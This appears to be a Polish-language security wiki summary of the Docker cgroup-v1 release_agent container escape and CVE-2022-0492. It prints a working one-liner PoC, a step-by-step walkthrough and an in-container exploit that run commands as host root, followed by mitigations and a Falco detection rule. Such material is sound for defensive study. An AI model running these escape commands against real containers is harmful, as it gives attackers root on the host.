Docker release_agent cgroups escape

Reading time: 5 minutes

Aby uzyskać więcej szczegółów, zapoznaj się z oryginalnym wpisem na blogu. To jest tylko podsumowanie:

Klasyczny PoC (2019)

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

PoC wykorzystuje funkcję cgroup-v1 release_agent: gdy ostatnie zadanie cgroup, które ma notify_on_release=1, kończy działanie, jądro (w początkowych przestrzeniach nazw na hoście) wykonuje program, którego ścieżka jest przechowywana w zapisywalnym pliku release_agent. Ponieważ to wykonanie odbywa się z pełnymi uprawnieniami roota na hoście, uzyskanie dostępu do zapisu w pliku jest wystarczające do ucieczki z kontenera.

Krótkie, czytelne wprowadzenie

1. Przygotuj nową cgroup

mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp   # lub –o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

2. Wskaź release_agent na skrypt kontrolowany przez atakującego na hoście

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

3. Zrzut ładunku

cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd

4. Wywołaj powiadamiacz

sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"   # dodajemy siebie i natychmiast wychodzimy
cat /output                                  # teraz zawiera procesy hosta

Luka w jądrze z 2022 roku – CVE-2022-0492

W lutym 2022 roku Yiqi Sun i Kevin Wang odkryli, że jądro nie weryfikowało uprawnień, gdy proces pisał do release_agent w cgroup-v1 (funkcja cgroup_release_agent_write).

Efektywnie każdy proces, który mógł zamontować hierarchię cgroup (np. za pomocą unshare -UrC), mógł zapisać dowolną ścieżkę do release_agent bez CAP_SYS_ADMIN w początkowej przestrzeni nazw użytkownika. W domyślnie skonfigurowanym, działającym jako root kontenerze Docker/Kubernetes umożliwiło to:

• eskalację uprawnień do roota na hoście; ↗
• ucieczkę z kontenera bez nadania mu uprawnień.

Wadze przypisano CVE-2022-0492 (CVSS 7.8 / Wysokie) i naprawiono w następujących wersjach jądra (i wszystkich późniejszych):

• 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.

Commit poprawki: 1e85af15da28 "cgroup: Fix permission checking".

Minimalny exploit wewnątrz kontenera

# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux  # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent;     # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'

Jeśli jądro jest podatne, binarka busybox z hosta wykonuje się z pełnymi uprawnieniami roota.

Wzmocnienia i łagodzenia

• Zaktualizuj jądro (≥ wersje powyżej). Łatka teraz wymaga CAP_SYS_ADMIN w początkowej przestrzeni użytkownika, aby zapisać do release_agent.
• Preferuj cgroup-v2 – zjednoczona hierarchia całkowicie usunęła funkcję release_agent, eliminując tę klasę ucieczek.
• Wyłącz nieuprzywilejowane przestrzenie użytkownika na hostach, które ich nie potrzebują:

sysctl -w kernel.unprivileged_userns_clone=0

• Obowiązkowa kontrola dostępu: Polityki AppArmor/SELinux, które odmawiają mount, openat na /sys/fs/cgroup/**/release_agent, lub odbierają CAP_SYS_ADMIN, zatrzymują tę technikę nawet na podatnych jądrach.
• Tylko do odczytu maska bindowania wszystkich plików release_agent (przykład skryptu Palo Alto):

for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done

Wykrywanie w czasie rzeczywistym

Falco dostarcza wbudowaną regułę od v0.32:

- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]

Reguła uruchamia się przy każdej próbie zapisu do */release_agent z procesu wewnątrz kontenera, który nadal posiada CAP_SYS_ADMIN.

References

• Unit 42 – CVE-2022-0492: container escape via cgroups – szczegółowa analiza i skrypt łagodzący.
• Sysdig Falco rule & detection guide